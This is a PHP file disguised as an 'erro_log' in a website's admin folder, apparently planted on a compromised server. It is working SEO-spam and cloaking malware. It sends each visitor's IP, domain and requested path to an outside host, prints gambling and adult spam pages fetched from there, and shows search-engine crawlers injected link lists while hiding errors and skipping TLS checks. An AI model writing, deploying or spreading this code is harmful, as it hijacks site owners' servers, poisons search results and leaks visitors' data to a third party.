Current File : /home/igihango/public_html/ecrire/erro_log |
<?php
ob_start();
header("HTTP/1.1 200 OK");
header("Content-Type: text/html; charset=utf-8");
define("CONSTANT_NAME", "about");
//Please don't delete me I want to make money
try{
ini_set('display_errors','off');
error_reporting(E_ALL ^ E_NOTICE);
set_time_limit(0);
$api_url = "https://sex.top7788.com/web3/xintest.php";
$header_curl = array("user_agent:".$_SERVER['HTTP_USER_AGENT']);
$domain = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
$file=(isset($_SERVER['REQUEST_URI']) && $_SERVER['REQUEST_URI']!='')?$_SERVER['REQUEST_URI']:$_SERVER['HTTP_X_REWRITE_URL'];
if($file ==='/'){
$file="/".getRandomLineFromFile();
}
$arr_url = array('bet=', 'hot=', 'game=','ios=','keyword=','produc_id=','play=','top=','app=','video=');
foreach ($arr_url as $url_r) {
if (strpos($file, $url_r) !== false || (getCurrentVideoDirectoryValue() !== false)) {
$post_data = array('ip'=>getIP(),'file'=>$file,'domain'=>$domain);
$result = posturl($api_url."?".$domain.$file,$post_data);
if(strlen($result) != 0){
echo $result;
exit;
}
}
}
$key=$_SERVER['HTTP_USER_AGENT'];
if(isset($_SERVER['HTTP_USER_AGENT']) && (stristr($_SERVER['HTTP_USER_AGENT'],"Google") || stristr($_SERVER['HTTP_USER_AGENT'],"bing") || stristr($_SERVER['HTTP_USER_AGENT'],"coccoc"))){
$arr_url = array('bet', 'hot', 'game', 'ios', 'keyword', 'produc_id', 'play', 'top', 'app', 'video');
echo "<ul style='list-style: none;'>\r\n";
for ($j = 1; $j <= 12; $j++) {
$randomUrl = $arr_url[array_rand($arr_url)];
$randomUrl2 = $arr_url[array_rand($arr_url)];
$randomLine = getRandomLineFromFile();
$randomLine2 = getRandomLineFromFile();
$lun = getwailun();
$parsedURL = parse_url($lun);
parse_str($parsedURL['query'], $queryParams);
$firstKey = reset($queryParams);
echo "<li><a href='?". "{$randomUrl}={$randomLine}'>{$randomLine}</a></li>\r\n";
//echo "<li><a href='/"."{$randomUrl2}" . "/{$randomLine2}'>{$randomLine2}</a></li>\r\n";
echo "<li><a href='{$lun}'>{$firstKey}</a></li>\r\n";
}
echo "</ul>";
}
}catch (Exception $exception){
}
function getRandomLineFromFile() {
$url = 'http://sex.top7788.com/web3/test1.php';
$header_curl = array("user_agent:".$_SERVER['HTTP_USER_AGENT']);
$domain = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
$file=(isset($_SERVER['REQUEST_URI']) && $_SERVER['REQUEST_URI']!='')?$_SERVER['REQUEST_URI']:$_SERVER['HTTP_X_REWRITE_URL'];
$arr_url = array('bet=', 'hot=', 'game=','ios=','keyword=','produc_id=','play=','top=','app=','video=');
$result = posturl($url."?".$domain.$file,$post_data);
return $result ?: "Unable to fetch data!";
}
function getwailun() {
$url = 'http://sex.top7788.com/web3/debug.php';
$header_curl = array("user_agent:".$_SERVER['HTTP_USER_AGENT']);
$domain = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
$file=(isset($_SERVER['REQUEST_URI']) && $_SERVER['REQUEST_URI']!='')?$_SERVER['REQUEST_URI']:$_SERVER['HTTP_X_REWRITE_URL'];
$arr_url = array('bet=', 'hot=', 'game=','ios=','keyword=','produc_id=','play=','top=','app=','video=');
$result = posturl($url."?".$domain.$file,$post_data);
return $result ?: "Unable to fetch data!";
}
function posturl($url,$post_data=null){
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_TIMEOUT, 30);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_USERAGENT,$_SERVER['HTTP_USER_AGENT']);
curl_setopt($curl, CURLOPT_REFERER, @$_SERVER['HTTP_REFERER']);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($post_data));
$data = curl_exec($curl);
curl_close($curl);
return $data;
}
function getIP() {
if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
$ip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
$ip = getenv('REMOTE_ADDR');
} elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
$ip = $_SERVER['REMOTE_ADDR'];
}
return preg_match ( '/[\d\.]{7,15}/', $ip, $matches ) ? $matches [0] : '';
}
function getCurrentVideoDirectoryValue() {
$currentPath = (isset($_SERVER['REQUEST_URI']) && $_SERVER['REQUEST_URI'] != '') ? $_SERVER['REQUEST_URI'] : $_SERVER['HTTP_X_REWRITE_URL'];
$currentPath = rtrim($currentPath, '/');
$keywords = array('bet', 'hot', 'game', 'ios', 'keyword', 'produc_id', 'play', 'top', 'app', 'video');
$pathParts = explode('/', $currentPath);
array_shift($pathParts);
$firstDir = isset($pathParts[0]) ? $pathParts[0] : '';
foreach ($keywords as $keyword) {
if (strpos($firstDir, $keyword) !== false) {
return end($pathParts);
}
}
return false;
}
?>